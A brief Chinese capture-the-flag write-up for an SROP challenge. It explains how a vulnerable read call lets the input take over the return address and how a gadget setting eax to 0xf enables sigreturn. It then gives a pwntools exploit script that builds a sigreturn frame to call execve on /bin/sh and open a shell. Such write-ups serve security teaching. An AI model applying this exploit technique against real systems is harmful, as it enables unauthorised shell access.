一道简单应用srop的题目

题目描述

程序调用一个存在漏洞的函数
直接看汇编,64位函数调用前三个参数依次使用rdi,rsi,rdx寄存器传参,对于这里的read函数,第二个参数即读入内容存储地址,由于这里mov rsi, rbp,所以直接把输入内容写入rbp,执行完read函数后将rbp的值赋给rsp,然后执行retn指令,而retn指令只管读出栈顶的值作为返回地址,所以如果我们直接输入一个地址,就会返回到我们输入的地址处

同时发现程序内存在一处没有调用到的函数,有一个mov eax, 0Fh指令,而sigreturn的系统用调用号就是0xf,所以可以利用这里达到利用srop的目的

同时程序中存在/bin/sh,可作为system的参数调用从而getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
r = process('./srop')

binsh_addr = 0x0601028
set_rax_15 = 0x04004C1
syscall_ret = 0x04004EA


frame = SigreturnFrame()
frame.rax = 59
frame.rdi = binsh_addr
frame.rsi = 0
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret

payload = p64(set_rax_15) + p64(syscall_ret) +str(frame)
#gdb.attach(r)
r.sendline(payload)
r.interactive()